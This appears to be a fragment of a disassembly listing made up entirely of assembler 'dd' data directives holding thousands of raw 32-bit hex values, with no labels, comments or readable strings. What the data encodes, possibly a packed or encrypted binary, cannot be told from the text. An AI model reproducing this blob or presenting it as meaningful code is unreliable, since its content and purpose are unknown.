		dd 0A596E576h, 7A5579BFh, 6E7A2521h, 0C0D9B503h, 7150FEEDh
		dd 171DC53Ch, 0EE03E5h,	0F52820E1h, 0EC7013E9h,	7A1C7E97h
		dd 0B0BF92D2h, 829C3DB6h, 0E89D5C86h, 0BD718F4h, 3F5BD9EFh
		dd 0E386128h, 0E941841Ah, 0A882A9EAh, 2567BD51h, 0A9DE850Bh
		dd 0DAE5DD7Fh, 516EF4C2h, 0D21B9475h, 0C8FE0905h, 0A3986C0h
		dd 284C9BE6h, 0CE800E9Bh, 7CF66750h, 0AEA2F395h, 0D833E0C4h
		dd 83BF3BDDh, 0FB16B9DAh, 0AC80DCF8h, 5A88556Fh, 12A9D465h
		dd 6802BE08h, 0F8672D72h, 0B61D30A6h, 7E7C140h,	9CCC2CC1h
		dd 0C53BB1E0h, 0C405E8D4h, 0B80FCECBh, 14503522h, 20D8965Fh
		dd 1613010h, 580F0540h,	0A62F61E9h, 0A1E90B90h,	0C1B39C53h
		dd 0D05DFA2h, 0FA25CC26h, 88D9F232h, 0C90ED158h, 0B976C284h
		dd 2D538D6Ah, 0B71E75F8h, 62909B46h, 5E27F84Bh,	5556D332h
		dd 57A8535Ch, 8980083Bh, 0BDDF6C3h, 8C06D55Ch, 0C0120622h
		dd 0AAE00EE9h, 97E4B558h, 0F0190097h, 0F02D1807h, 0A7049547h
		dd 0D42909F4h, 68E97826h, 0DEF638E3h, 7DB0A657h, 494677B1h
		dd 0B903E821h, 3DAD657Bh, 0DCA24CD2h, 0E07D015Eh, 618766h
		dd 0F5814899h, 605B3C29h, 5088E927h, 675E4983h,	0A0EE7C6h
		dd 0C0B70F09h, 6F1E0466h, 758380E8h, 0AF8CFF9Bh, 20E9A93Ch
		dd 68259E63h, 0C0E99BCCh, 4F1B7606h, 0A535AA36h, 0CBEC04EEh
		dd 0E194EFFCh, 0E970D0FAh, 67B494EAh, 68629060h, 0C1894F47h
		dd 24ADC007h, 702E053h,	9BBD4D05h, 0B178D519h, 0BCA01626h
		dd 5DB7D1C2h, 25BDFF79h, 48E6E4E5h, 0A63A9358h,	90780310h
		dd 0DDB34A08h, 871BB4D3h, 0DE31C540h, 54C40928h, 0B281C9FCh
		dd 0BEC18078h, 2FE0069Ch, 0EF3A68F6h, 5A666506h, 0F62C2FC6h
		dd 71765E99h, 7EC80FB9h, 0BBA592A2h, 0F7505449h, 0E924051Eh
		dd 0DCA71217h, 4E082DC1h, 2EC404AFh, 5102BBB8h,	0C0BA77E3h
		dd 8357D927h, 9A7662E7h, 0CA59525Dh, 8BB689EFh,	33D5CF98h
		dd 0D7A6CAD0h, 83695CD1h, 859D6547h, 85BFF6BBh,	71FA59E9h
		dd 9E6DE33Bh, 4F38EAC7h, 8FCD54BBh, 0EEDC404Eh,	52F72B4Dh
		dd 68250176h, 0C0917EBCh, 15461F50h, 19E5C95h, 0B84ECBFDh
		dd 2EE7C1E9h, 9C419641h, 0C12A49D3h, 70505FF0h,	209DEB05h
		dd 0ED4FD0F6h, 0E6810220h, 2EB91BFDh, 6E3340D7h, 0AA40E373h
		dd 2FFA479Bh, 0FB5E4E2Ch, 15A084C7h, 4EDFE909h,	7A449996h
		dd 171C0B8Ch, 9D602F12h, 0E90601E2h, 0D2167B29h, 7C3B74F1h
		dd 0BC5BFA4Ch, 2D21BDC8h, 0BFDCC07h, 2735CB55h,	72D96154h
		dd 0E90CB825h, 2A4E417Dh, 0E44F24CBh, 8354E9D4h, 26EF5FD6h
		dd 0F38C36B9h, 98E3EE84h, 504F5AE8h, 2A7D08B1h,	181479B9h
		dd 0CA276B4h, 6137DF1h,	0CFEC613Eh, 0A9590885h,	0B358A8Ch
		dd 8BFF0C97h, 42BE2F02h, 4EE79C44h, 5CC709C4h, 4A3B61DBh
		dd 0BC4EB8E8h, 96EC5B89h, 0AC2105B4h, 0E196BCF6h, 5060D821h
		dd 0FD7BE5E8h, 6D56CCB1h, 0BD16FF7h, 26F031A7h,	530908C6h
		dd 1A121368h, 7D80C069h, 7EE52F4Dh, 7C199347h, 0B16A891Fh
		dd 0AD6238DCh, 5F072564h, 8B0DF25Eh, 0C01B765Bh, 88513DB2h
		dd 0EB4BD572h, 0E32768CBh, 2B5419E1h, 400655C8h, 0D17B8831h
		dd 85D971C4h, 59CEBB00h, 5998A6F8h, 4BE8324Eh, 45345C4h
		dd 0C0BFEED1h, 0D2E54E97h, 34E7697Eh, 0E046852h, 8B564338h
		dd 30C467BCh, 3BADA5C8h, 0A4ABB635h, 26276844h,	4F77E661h
		dd 42260ADBh, 60A51A88h, 0F48832DFh, 7A49BDDCh,	4714BD04h
		dd 6BE7C106h, 39FF6DD3h, 5B4597E3h, 0FA5F52A8h,	75AD7440h
		dd 4D4FE9E4h, 0BD02CEA4h, 19B4CEC2h, 54B809D7h,	7EDC2708h
		dd 6A23F681h, 226065AFh, 25E697A2h, 983F4F20h, 41FF030Eh
		dd 0DFF7F987h, 0A457082Eh, 4E3BBB00h, 0AA26E96Eh, 4275C187h
		dd 290F4878h, 0F0CB5AD7h, 9F83090h, 0E1BDDD25h,	0EC7B89E5h
		dd 2FA0B61Dh, 6A50F021h, 98AE949Dh, 0F071970Dh,	0DDBB8FC7h
		dd 3834F745h, 68C04DE2h, 2C5F50B1h, 0E2005A7Fh,	29BB0863h
		dd 9EF75242h, 0F849935Eh, 6D60E98Eh, 9DFAA644h,	424A76E0h
		dd 953E758Ah, 286551B7h, 70A12732h, 6CBEAEE4h, 0D3A2903Dh
		dd 4683B4Ch, 77D01F2h, 3F09416Eh, 744C8BD0h, 0C766084h
		dd 1AB03DD2h, 9BD1012Eh, 8ABA52C0h, 0F9D2E07h, 6D8A3AA1h
		dd 2EE025Eh, 280142B6h,	68618DD5h, 56243AE3h, 0E96ADF82h
		dd 0FAA76FEFh, 93247257h, 20B91C57h, 0A8C163AEh, 19DB7951h
		dd 476567Ah, 18DE5201h,	0B5951ADCh, 0B420B415h,	58FF520h
		dd 6619ACBEh, 0C5E0FF10h, 2FC0944Dh, 7697CCD0h,	75541335h
		dd 12A3008Fh, 0E90A8A2Eh, 4E77CD31h, 9D3F5F54h,	0BC543052h
		dd 62833FBCh, 0D9EEB07Ah, 24928061h, 4181E05Bh,	0FE92B141h
		dd 9DC0915h, 0ED519B78h, 0EAE50408h, 0B099B7A7h, 382E6A42h
		dd 25AF34Bh
		dd 746909BBh, 5B58603h,	0E501970Dh, 63FFB1E9h, 76F405D9h
		dd 8AB22C55h, 0BA841F5Ah, 2092365Bh, 0D25AA2B4h, 110162B2h
		dd 0BA7C3DE9h, 65FF0912h, 3ED1FE65h, 84C36832h,	0E5E9395Eh
		dd 0E9902296h, 0DCD8172Fh, 0ADEF5026h, 95D526BDh, 3E514820h
		dd 0F9DFC115h, 3088D25Ah, 0B6A1D950h, 0EB8C7A57h, 44F95AE9h
		dd 8D43505Dh, 169B00CCh, 94B8AB2Dh, 8208ED3Fh, 0E5E936D8h
		dd 0C0E57D6Eh, 0F5493E3Fh, 5E1C114h, 15C52681h,	0B4D6B19Fh
		dd 59CCFC01h, 0E97AD4F6h, 42D3E44h, 48192532h, 0FD22CEFh
		dd 1266127h, 34672BA5h,	6EF8E9E4h, 0CCC4E3A8h, 0B630AA55h
		dd 4720AF7h, 0DF6842BAh, 3879CF75h, 0F7A12DE9h,	0C36AD0A2h
		dd 9DFCA472h, 5B1AD664h, 63D13E2h, 0F4ECB85Eh, 8B52CACh
		dd 4916C694h, 96B03AF8h, 38099018h, 0F25EF109h,	1AE303D9h
		dd 58513BDBh, 46BEDE10h, 45AA6802h, 0F15711B2h,	0F46E971Dh
		dd 0FCE1F598h, 0C29743DBh, 7D9B4A37h, 0EBAB8F47h, 51B40517h
		dd 0F2D84C01h, 0BECE004Bh, 339F5969h, 0B3AAD0F4h, 0B77AD057h
		dd 108522E8h, 9FC82980h, 572461C3h, 0BF122D4Eh,	5B14D2AEh
		dd 69A055FAh, 8180C23Ch, 0F47579CFh, 7DDEA011h,	14CB3069h
		dd 6A0F9A0Ch, 0F2C0094Fh, 7DBC0520h, 2CE10F5Eh,	9B34E93Ch
		dd 0C2AA2A74h, 60C57BDEh, 81BAABE4h, 0C15AB123h, 310B2CE8h
		dd 358658C7h, 749720E2h, 0DD17BDFDh, 57B3A4B5h,	9F91BF3Fh
		dd 9C562FFFh, 0E5E7CDBFh, 0FE8F50FAh, 0F32D80C3h, 0EF25417h
		dd 0E962FD30h, 9BFC3405h, 0E1C0C985h, 9E710DFFh, 8852EC06h
		dd 0F435CE72h, 262E545Ah, 342CFF4Eh, 98E37288h,	93FF1E9h
		dd 0A9D7BA37h, 4F47D418h, 9F8D4EBh, 5336F697h, 1DC2DAD4h
		dd 95F499E9h, 94092DA9h, 4C0E7106h, 0FF276068h,	0E086E322h
		dd 0B109F7A9h, 1158AE7Ch, 388A0B26h, 11FFD8F7h,	1D3E85Bh
		dd 0D7050306h, 68DED11Ah, 0D3680B40h, 60165616h, 72232B13h
		dd 0A913F0BFh, 39684857h, 0D1CEBF03h, 0AA05519Bh, 64A0755Ch
		dd 56734BC0h, 74557513h, 2F489D2Ah, 0A5095DEDh,	0F5297Ch
		dd 77FDE52Bh, 0E94916ECh, 0F7FC8114h, 415720D7h, 81971954h
		dd 4C7F612h, 0FC5947FEh, 16D4BB7Dh, 78600F0Ah, 0B7740A7h
		dd 418782D4h, 0A92530F7h, 0A60DD40h, 0BC011384h, 92D19574h
		dd 50C68389h, 6C50B44h,	41339h,	92EBE25Bh, 0E97988ABh
		dd 1865AB30h, 2A68D586h, 3D464134h, 3968F3B4h, 0B8060CEDh
		dd 2A04ED51h, 5E367465h, 4C6BB2ABh, 7DFE4B94h, 0C7A53124h
		dd 76EF795Ah, 43A40761h, 7574F330h, 2E2DE7C5h, 48084CFAh
		dd 0A3F22508h, 0A319E917h, 0BE459491h, 429BA2Ah, 1200E36Ah
		dd 6E8F22AAh, 0B33CB849h, 9F5178F3h, 77C7B300h,	4476F530h
		dd 12FAE75Ch, 36EB5260h, 4BA0EEE1h, 314A1220h, 35E9CF2Ch
		dd 882CDCEAh, 3B420B7h,	0D595CF22h, 0DD5B581Ch,	775B0809h
		dd 62200946h, 505E27C1h, 0E958CF5Ch, 91BD4A2Fh,	7822E52Fh
		dd 1FA8C706h, 6AC5F509h, 0CB2F6A89h, 61D4E0FBh,	274B7C02h
		dd 0DDF60446h, 2C41ECC2h, 1FF252EEh, 1CF40E17h,	0F2482CABh
		dd 1A0C5809h, 7D680157h, 8C70381Fh, 3F1D16C6h, 9ED706E3h
		dd 0F1042F01h, 93EB9947h, 0D81256F8h, 97A2A803h, 256664CCh
		dd 9CDDE9F7h, 0EEB420A9h, 0F9C28102h, 0DD0ADC72h, 0B556BC02h
		dd 57446054h, 0D34F8AFEh, 34FD5C05h, 0A496DDB2h, 580555DFh
		dd 0FD3138D6h, 841A7A83h, 0C9EDA3BBh, 445B055Ch, 0E161B934h
		dd 0BD81B8F7h, 4CE32FC1h, 6AD9E925h, 693A0A43h,	0E905D4D7h
		dd 0C0DDD4A9h, 0EC05E64Bh, 0FA98445Eh, 53BC4045h, 0AD205477h
		dd 376AE9CDh, 64A9EF70h, 687F2242h, 6CC5F9h, 5AD9388h
		dd 6BB4063Ah, 0B2A629Dh, 5EC67707h, 759F6813h, 576EC5CDh
		dd 85C5BF22h, 750E9ABAh, 0B90A8E60h, 60C776EAh,	6CE6EA7Fh
		dd 5B616F7h, 5801C23h, 75DD1012h, 2DD02801h, 18309507h
		dd 172447C2h, 0D9169F15h, 0B7972BF8h, 77A1D69Ah, 4EA0FD05h
		dd 6830ED29h, 76974C5Fh, 17F5D2A7h, 0BC807366h,	7D82D1DEh
		dd 394CF800h, 0BEBAC176h, 9E50505h, 1FAA5E6Fh, 0C8BEF39h
		dd 0FB73E7D9h, 0E96909E8h, 1720C31Fh, 7F6544EEh, 670C7B63h
		dd 0C02BF260h, 19ED548h, 0F221975Bh, 3E77C1E9h,	1CAF0B56h
		dd 40AB05C7h, 3F8FEB5Fh, 0E5DBE916h, 69AE2A92h,	571160C1h
		dd 0A210BF43h, 2916603Bh, 0F667A173h, 0FE9940CFh, 0D7F6C716h
		dd 84283D32h, 31BB8ABAh, 0A2334h, 165F2DADh, 12634155h
		dd 73B7E8F0h, 72028CEEh, 0C54628BFh, 0F560556Eh, 96F32D68h
		dd 1E84D087h, 447C8AAh,	5F55A13Eh, 0D2FE76C1h, 1C025903h
		dd 6856A453h, 0D4D70289h, 2583EAF6h, 0A8701FE4h, 718112Dh
		dd 0B3055575h, 302B390Eh, 8850B6E0h, 3AC0D85Ch,	5BF992C7h
		dd 17B49BEFh, 64A172E9h, 0B3B0EA62h, 0DE2D0835h, 0CE6F65Bh
		dd 0E5DDD7A2h, 0D2250378h, 9390DFDCh, 621699EDh, 92FC3104h
		dd 0C9FAE05Bh, 0E589ABC2h, 43CD6051h, 9C625038h, 0E90BC247h
		dd 49C4C0F2h, 4A249320h, 7A45A92Dh, 0F5886B2Ch,	0DC6DE0A5h
		dd 12193E57h, 67D1A193h, 0A2862505h, 307D5896h,	0FA01DB40h
		dd 5A1A1889h, 499B9A5Bh, 0B2DFBF83h, 9FB1D0F8h,	61E01108h
		dd 0B027FA04h, 0C64252A2h, 0EC545B4Fh, 74450423h, 2BC00B94h
		dd 9B35F8Eh, 9D27E960h,	2A0725D5h, 0B80044A3h, 428C0A95h
		dd 14022805h, 2CE91C2Eh, 1E25716Fh, 9C254B56h, 19F34877h
		dd 53200F5Fh, 0C8C9FE31h, 0F381EF60h, 287B663Bh, 855CB505h
		dd 0D33E626Ch, 4A66D572h, 0F6EA099h, 750C69E8h,	34C2D736h
		dd 0B00C4E68h, 82CEF7B9h, 747F6AD7h, 80C95817h,	0FE042FF6h
		dd 9EA7E9C4h, 0CA1279F2h, 1AE9F879h, 5518F2A4h,	6885D367h
		dd 0C9442A01h, 590B5EBCh, 0EED62904h, 0C8424B2h, 0FCDDBB1Dh
		dd 0F839356Bh, 203A48B5h, 0F14F5BD2h, 0CDD2E789h, 1E38D2C4h
		dd 0F057BD46h, 0E0397D60h, 0B549AC68h, 46461D1Ah, 98746C2Dh
		dd 3E296B2Bh, 1D93012Fh, 0E14489FFh, 4E9A7803h,	60BA79FEh
		dd 0EEB780D4h, 52B0F665h, 0F31828AFh, 69A3FD06h, 936371BCh
		dd 0A8415EC6h, 28C99EAAh, 6F71DC12h, 0B25FD73Eh, 0D08A865Dh
		dd 3A02A969h, 0BD54D224h, 5844A773h, 2867338Bh,	602C3293h
		dd 46665140h, 0AFB644E8h, 1C106804h, 0D2C473BCh, 0BC31FB9Ah
		dd 21924F52h, 0BE3D16F5h, 8AFE2684h, 6C169CCh, 5024CC1Dh
		dd 9571D158h, 0F88871F3h, 86E827ACh, 1E2E09D8h,	823CBF0Fh
		dd 30CB594Bh, 1865DC52h, 8CB8245Ah, 0F8971925h,	4B5F7AA1h
		dd 168ABC6h, 0C84CB530h, 23B05016h, 0B08C30F0h,	0A21A5B3Ch
		dd 0D0C9B255h, 58BB0914h, 1A80C82Dh, 5C387470h,	0E91754B0h
		dd 0C144AF5Ah, 0F0AB0CB7h, 0ED91CC9Bh, 4DC00769h, 0E8715109h
		dd 52C993FCh, 0DF4AE9AFh, 8D93D44Ch, 334C1EF2h,	73C09D6Ch
		dd 0BFB1522Eh, 2DBC508Dh, 550025BEh, 35D0F748h,	0FD61B73Fh
		dd 0A801BF24h, 9C15E9DEh, 9D551D75h, 0CC6E581h,	2D0981DFh
		dd 0FE7024CFh, 307999BFh, 421FF626h, 0FDC25259h, 60154936h
		dd 8128F1D4h, 4F7AFB58h, 49BB8331h, 312F0654h, 36D5AE21h
		dd 75E804CFh, 70FC0BA8h, 0CFE68107h, 0A8622631h, 8CF2F924h
		dd 2B8F046Fh, 6DBD0113h, 3066B130h, 0B93D95CBh,	590582ABh
		dd 85313B19h, 7032DD8h,	0C8330E9h, 335E5F3Ah, 0B441BC4Fh
		dd 0ACDCAC61h, 54E6B5EEh, 0C4BD552Dh, 6BC84590h, 68100CCAh
		dd 6EC5E96h, 1E84D1C9h
		dd 4C24A3A2h, 0BA2D1214h, 0D20888EEh, 0F17E9441h, 9548DCACh
		dd 56C65EB6h, 0E4FE9D97h, 0CC309CFh, 160D1F20h,	0EBBA2206h
		dd 2D051200h, 5A4973C6h, 2D60A27Fh, 842AD604h, 43ED156h
		dd 0F295FBE9h, 137EA2AAh, 9ED03A03h, 1FCC65F4h,	49DEF71Fh
		dd 667A3473h, 8B75645Ch, 0BD3C56EDh, 0A4393696h, 1F09CF43h
		dd 80617D58h, 1565F2BAh, 0CBE9132Ah, 0D37BB87h,	9B59EA97h
		dd 0A7827B4h, 0A1807E94h, 77C149D2h, 8E5B06C7h,	6DCA57FEh
		dd 0A40C080Ch, 237B0D18h, 144A0F2h, 0D7294977h,	625EF5E9h
		dd 95FAD3BEh, 79881D4h,	0B4F76AD8h, 660CBD04h, 0F580FFD7h
		dd 0BA65E29h, 195CE938h, 0F75A367Eh, 72FD2DC2h,	0E0ADF8A7h
		dd 9B2C74D0h, 9511257h,	0B5A3ECCEh, 0DC035BD8h,	16F91973h
		dd 810B401h, 9933E93Dh,	3A1A5A2Ch, 0D56F8422h, 55A5F1C5h
		dd 1A0CF3C5h, 3E7B1D3h,	630F6855h, 5A2D1557h, 9DB6F11h
		dd 9507BE9h, 0B1747B7h,	665D9468h, 0AA3B4D59h, 0E9A6BC78h
		dd 0ED7F6EABh, 0C7680B42h, 0FCE90B60h, 0DD5BA751h, 0B6C22E62h
		dd 0E9FBFFFFh, 8809382Ch, 3C30750Fh, 4BAA6B1Ah,	57D20975h
		dd 71CB1471h, 2C600D2h,	21A71039h, 0FA49F17Dh, 3CBA48F1h
		dd 0F49213DCh, 0CD3680AEh, 0DD2F4AAEh, 0A8D45678h, 304B61DEh
		dd 0E102C780h, 18F17843h, 0E7A6B450h, 0F8281758h, 5A999266h
		dd 0A092845Ch, 2E707D2h, 0BED1B240h, 476C5FCBh,	27940E5Ah
		dd 0CA5DA983h, 47750E0h, 9D70C4BFh, 1681FFD2h, 467282B6h
		dd 20AE49C5h, 674C1280h, 0F6755676h, 0C54A3717h, 6EE963C1h
		dd 0EA40C56Ah, 0A96ED9CDh, 8801107Ah, 0A0E18101h, 0DB6AD27Bh
		dd 981E180Eh, 0CBCCA573h, 403C20F4h, 0D49D0997h, 0E7330041h
		dd 0DF3118B5h, 32E0A1D7h, 51494046h, 30BCB101h,	0D3F659CBh
		dd 0B29B8520h, 0EA5C9D89h, 84C1838Ch, 36A70BF1h, 0FFFC2FCAh
		dd 660B9713h, 0A148DF90h, 4F1EEE2Dh, 0E80A5039h, 843A0705h
		dd 7DB20F09h, 2D276BCh,	434E68BFh, 2E88D551h, 0AFDF2D93h
		dd 0AE284516h, 7E85D9ABh, 0E982AAB2h, 3BD5B2DEh, 2975D97Dh
		dd 0AA6C3392h, 0D7FFC534h, 3F198D80h, 0F60190F5h, 0FE045E17h
		dd 5B42F7D7h, 785862D2h, 0A5ED4E06h, 1A7420F5h,	5697E792h
		dd 0CB30CAD1h, 1A0B8D5Fh, 0C5EA77D2h, 0CB5669F5h, 0B93E2BFDh
		dd 4213250Ch, 4A7959D7h, 27F9A710h, 1571DF88h, 872C0A53h
		dd 670A590h, 0C328791Dh, 0D18994h, 74DF735h, 2CC1291Ch
		dd 967E54E9h, 0A32DAB5Bh, 12EF8E3Ah, 0FCC878EAh, 9E681D66h
		dd 71D12E5Dh, 6C17010Ch, 0D9F75E00h, 0DA094D90h, 75623D55h
		dd 0A8E03C22h, 0FE5260F4h, 7C68C1C4h, 0DBF5C277h, 0F0C2AF8Ch
		dd 0EB385B57h, 21774F40h, 750B0525h, 68F26103h,	2DA36DB2h
		dd 0E0D15150h, 59EBC706h, 0B807B67Ah, 0F6146B5h, 79089EAAh
		dd 78C928C2h, 3B552735h, 0FD89F47Ch, 873C5C5Dh,	0A4D2F708h
		dd 3B1EA1CDh, 0CBBBD3F0h, 4558FD8Ah, 8870C59Dh,	0C0004008h
		dd 0C98002E1h, 3D06CC1Fh, 40BF0512h, 246CF174h,	26E1CF20h
		dd 967C3DCDh, 47E48926h, 5A5130DCh, 92A6BD6Bh, 1ADBF045h
		dd 4F038FAAh, 0F810E18Bh, 8A5E2FC9h, 0E00337C2h, 0F9B353CDh
		dd 0B4292FAAh, 90C30317h, 0AD584180h, 595CD89Fh, 0D2C43191h
		dd 2335BF4Ah, 0C46AE3C1h, 0A1B3A83Ah, 0EB80A8A5h, 13D0BD55h
		dd 24C12C49h, 6F6D0794h, 0B199CD70h, 28F2071Fh,	0A38F5BF7h
		dd 8274E6ABh, 5814FD2Fh, 9B4D0901h, 4576E92Ch, 99E7B2Ch
		dd 982F8F6Bh, 0F6EC4C4h, 1C49C968h, 540EFA5Fh, 4FBB6946h
		dd 0E97D0B62h, 594A720Ch, 0A3364F5Fh, 17D30B0Ch, 4CDD201Ah
		dd 0CFE92422h, 0AC688F3Ah, 8A441686h, 7413869h,	1E849EE8h
		dd 0AFD116EBh, 453AEA29h, 201BEB4Ch, 88511E8Ch,	392DFD7Bh
		dd 0E35A7915h, 6452BB65h, 204B58F4h, 0D80112FCh, 0BD50EF2Dh
		dd 4C0211F8h, 0F66CC228h, 0E5059D84h, 2999C159h, 0C4A33866h
		dd 41128D44h, 107F08D0h, 7429C476h, 481FF4BDh, 514200Ch
		dd 35DB0E59h, 0BD53EA5Eh, 5B34BFh, 346ACC13h, 27A60133h
		dd 96F50C82h, 0C7A12078h, 0F0C572BFh, 6A0B2E36h, 47C56292h
		dd 1F735027h, 0EAC32DEFh, 2D75A980h, 0E32740A2h, 8031F871h
		dd 3525A07h, 4B3AB4BAh,	340A4A69h, 0A39AEEC6h, 28E7C27h
		dd 30421AEFh, 44E56052h, 6BE0B08h, 0FCDF9C55h, 7F8B95FEh
		dd 0D5EB8379h, 0C24C1D66h, 0D008446Dh, 9DA3E910h, 0DFF7470Eh
		dd 0CAE78160h, 464E7C5Fh, 631017F9h, 0C821273Eh, 166D901Ah
		dd 0EE0123DAh, 0F4FF84D4h, 0D2EEC85Bh, 0BDD1CF5Ah, 0C6139E29h
		dd 89EC9881h, 0DF15C456h, 0A77D74B2h, 0BCF7CACCh, 0A8451218h
		dd 0EC587CBh, 56408E60h, 50F1268h, 1201FEA6h, 0DB64E2E6h
		dd 0CE30C221h, 557E13CFh, 761EA439h, 0D0B7F4ECh, 0BCE175Fh
		dd 0E10F00C8h, 34263B29h, 2B485BF6h, 0B409DE88h, 0C8C47DF4h
		dd 68504DBCh, 0D8764E8Dh, 29108A0Bh, 88342E98h,	11FEA0Dh
		dd 0A6AB742Dh, 2B542F37h, 0FBA20989h, 52BA653Ch, 88AEB08h
		dd 14BCF040h, 0E87C564Dh, 14325A2Ch, 5F250A2Dh,	1297475Fh
		dd 30B6A1A1h, 0C1E6F933h, 0B7530109h, 9A9B809Bh, 0C9B3C3E9h
		dd 795DA4E9h, 340D8544h, 0F5BC00ECh, 1CB34AA0h,	7BD7D9A1h
		dd 6F85B0A9h, 0D141EEF9h, 679B6DCCh, 6E97C13Ah,	0C28105C5h
		dd 233FB4A8h, 73FA555Fh, 6F5E5449h, 0DCC647ACh,	0EB2CB78Ch
		dd 9D104C7Ch, 60210D00h, 0E40575F2h, 70AF671Fh,	2D7326C8h
		dd 2971EDEh, 5100E0CAh,	0C0E8B652h, 0E6E607EEh,	0F327D998h
		dd 6961F6A6h, 4E34F5DBh, 21FEBD01h, 0FA601127h,	0D4CA0481h
		dd 8003911Eh, 2C500CF1h, 0DEE9361Eh, 2023E4EFh,	0BB090AC8h
		dd 7DA20D72h, 0F38780C0h, 8D6F730h, 91D04FE9h, 0E8C2A703h
		dd 0CCDCD3D7h, 4E00DDA4h, 3BBD1843h, 975199B2h,	14D02009h
		dd 706A480Bh, 0D044D712h, 3F2E05A1h, 6939CF8Ch,	0C07D1ABDh
		dd 3E3F7961h, 30924563h, 0ABF1241Fh, 281244E8h,	66C61D32h
		dd 0EA73C4F1h, 1BE08CCDh, 4E6495CDh, 96F2D1Dh, 4A1FB853h
		dd 13CA5FC8h, 60E3E354h, 1D39A0B2h, 0C6648069h,	7E96E235h
		dd 4A08A7A4h, 0CC55F987h, 807252D5h, 682FF9F7h,	8BE4DC44h
		dd 3768534Bh, 30B521DCh, 4181E9C0h, 5639FC09h, 5A62CC9Ch
		dd 0B3A50FEEh, 12D1A35Bh, 818C868Ah, 0BF7D407Ch, 0F2939501h
		dd 5FFE29A8h, 9D9A7930h, 385D99B0h, 27D2939Fh, 47036C24h
		dd 0DC80D7BBh, 0E300810Bh, 35FB1D8Ch, 9F95FDE9h, 91A00DC5h
		dd 683005E4h, 2FF70C3Bh, 695D5975h, 0D008E928h,	0AF4B140Ch
		dd 77024F4Ch, 13B53C51h, 0E46F8D12h, 82F6F5D1h,	2F8F0D3Eh
		dd 271AF001h, 5856C330h, 8A0602CBh, 2F045203h, 0A4EA62Ch
		dd 655BC2F6h, 94591D8Ch, 80943261h, 40E4325Dh, 80C7AD04h
		dd 305C8868h, 9313DEBCh, 208688B9h, 565840B5h, 7BB40272h
		dd 0F22937D2h, 87BEFEh,	0B2B109Ah, 4B548E9h, 0D0BC5AFEh
		dd 0F5362879h, 631A20C1h, 22F2BA07h, 50E24658h,	0D680E98Bh
		dd 0E47FA82Fh, 3B6A3DFEh, 8CD7D0F2h, 0F42A6850h, 749D9041h
		dd 0CDF9259Bh, 810275A5h, 0EED5456Bh, 62EFB06Ah, 77FA33D3h
		dd 1B25985Dh, 1A619355h, 0F205F3A2h, 0E09BBCCAh, 7EFFC380h
		dd 758675D0h, 0CE08DEF6h, 0D3EE37F3h, 28F445BFh, 35B5EAD8h
		dd 90D3FC7Ah, 0CCE9836Ch, 292212B9h, 0B50413F9h, 0F9F4DB37h
		dd 0FE5F2D43h, 692DC22Dh, 0CC382057h, 4C45D670h, 0A4138A01h
		dd 3831BA1Dh, 7406356Ch
		dd 0FC3A8804h, 0A1A829B9h, 767E4E10h, 0C5DCC8A0h, 31768C17h
		dd 0AECD1CEFh, 0F2E904CAh, 594FFEEBh, 0BB6844D1h, 0FC4FC9B8h
		dd 0E4F5F3h, 0C0D45AE9h, 381EBB94h, 5F9545F8h, 0E3DC1E3Ch
		dd 796EDFDDh, 0AAC05BE5h, 4CD7614Ah, 0D520972Bh, 0DF35584Bh
		dd 8480F2EBh, 0D9C2C588h, 4194F7A4h, 981C3F20h,	88FB2D9Ch
		dd 0EB80DF51h, 24FF5D2Bh, 0DDE3F301h, 63010816h, 727E4A32h
		dd 0C5C6D26Fh, 570217C4h, 337920BFh, 6041FD73h,	7AEE60DFh
		dd 0B6B1513h, 0CE1803B0h, 7BCC6887h, 0A5D3C38Fh, 80B5B702h
		dd 8838E0EEh, 0D7F63AF7h, 24BFAC4Fh, 0F110E5D6h, 311AAC3Bh
		dd 0E256409Bh, 6FBC7E31h, 0C43F2EC5h, 0FDB5C221h, 2EA862E1h
		dd 0DE0052B2h, 53340375h, 0CABF82E9h, 0FA227D74h, 2C8571Fh
		dd 221E9F05h, 84D67A16h, 3FBA8340h, 4B31C062h, 34C2AB42h
		dd 0B7CFF8E6h, 83A07BC5h, 5F57523Fh, 97255904h,	12F70BDh
		dd 0F380BC5Eh, 0B6DCE62h, 0C7DE4C89h, 0E5FBD05Eh, 16262C3Dh
		dd 3802B52Dh, 4AC4C161h, 0ACBAD7FAh, 0CD7A05FFh, 0D933E2BAh
		dd 50031E7Ch, 2B949AB1h, 9E8AAEE8h, 9672A8E3h, 34B860FEh
		dd 4401E20Ah, 1D572B35h, 8E20402Dh, 831CBE8Ah, 5CB04BEDh
		dd 0CABB8C4Ah, 0C83284F0h, 59B2FBh, 64EC431Dh, 13E8C148h
		dd 5485E907h, 0F31D7DE7h, 787BCADBh, 6081997h, 1EB2F307h
		dd 0D90C7964h, 936C0AE9h, 84D09C2h, 65FD5EE7h, 0B8562716h
		dd 5B37C9A5h, 957FDF77h, 87127E65h, 58D398AEh, 5A215495h
		dd 0F3081C40h, 0B8EB7882h, 0EDC2B508h, 0ACBC04D1h, 0E4172BD3h
		dd 276A8BABh, 0D0005EEAh, 65C9FCE9h, 1BA875Ah, 0DDC77892h
		dd 0D5F60414h, 4783A95h, 0F8958EF7h, 58AA81AFh,	36182D40h
		dd 28E8324h, 2B747846h,	0CA61FA01h, 0B5696B9Fh,	20253932h
		dd 0B6F0ED6h, 97FF70D5h, 42A84DF3h, 1504C84Dh, 782D3F18h
		dd 21229502h, 75455D55h, 0FCED04A0h, 9006914Ah,	0A68EE951h
		dd 1F3B053Dh, 0A05F4B88h, 261273A7h, 0CC0B6A87h, 1C9572DFh
		dd 0ACD050C5h, 7D4B01E6h, 6A3142F2h, 0EACE681Fh, 0E6B36h
		dd 0CC75E316h, 7B00B7D9h, 355FF821h, 9D64FF01h,	3C22056Eh
		dd 0C429F0C8h, 80D70120h, 0C1621C82h, 4D992FE7h, 0D7E4B23Fh
		dd 17A8D1AEh, 0D929017Ch, 9F5ECA20h, 160505F1h,	0A0046F1Ah
		dd 0B7AFA31Eh, 285804D2h, 40EF4D64h, 6214F330h,	8BB84815h
		dd 41174544h, 0AAF90211h, 2EE5F049h, 168F4533h,	917BD21Eh
		dd 2A04EBE0h, 13801A7h,	0E97DC004h, 5DC6A0DDh, 13A05995h
		dd 8277C585h, 40D5F80Fh, 17E320B6h, 47CBFE58h, 0A33DF30Ch
		dd 0C4B15BDCh, 0E6F4E4CAh, 0A51ECCF8h, 56F0B4E9h, 74840566h
		dd 4A7FE42Dh, 0F857CD53h, 427E2EB9h, 0F178F897h, 7E70807Ch
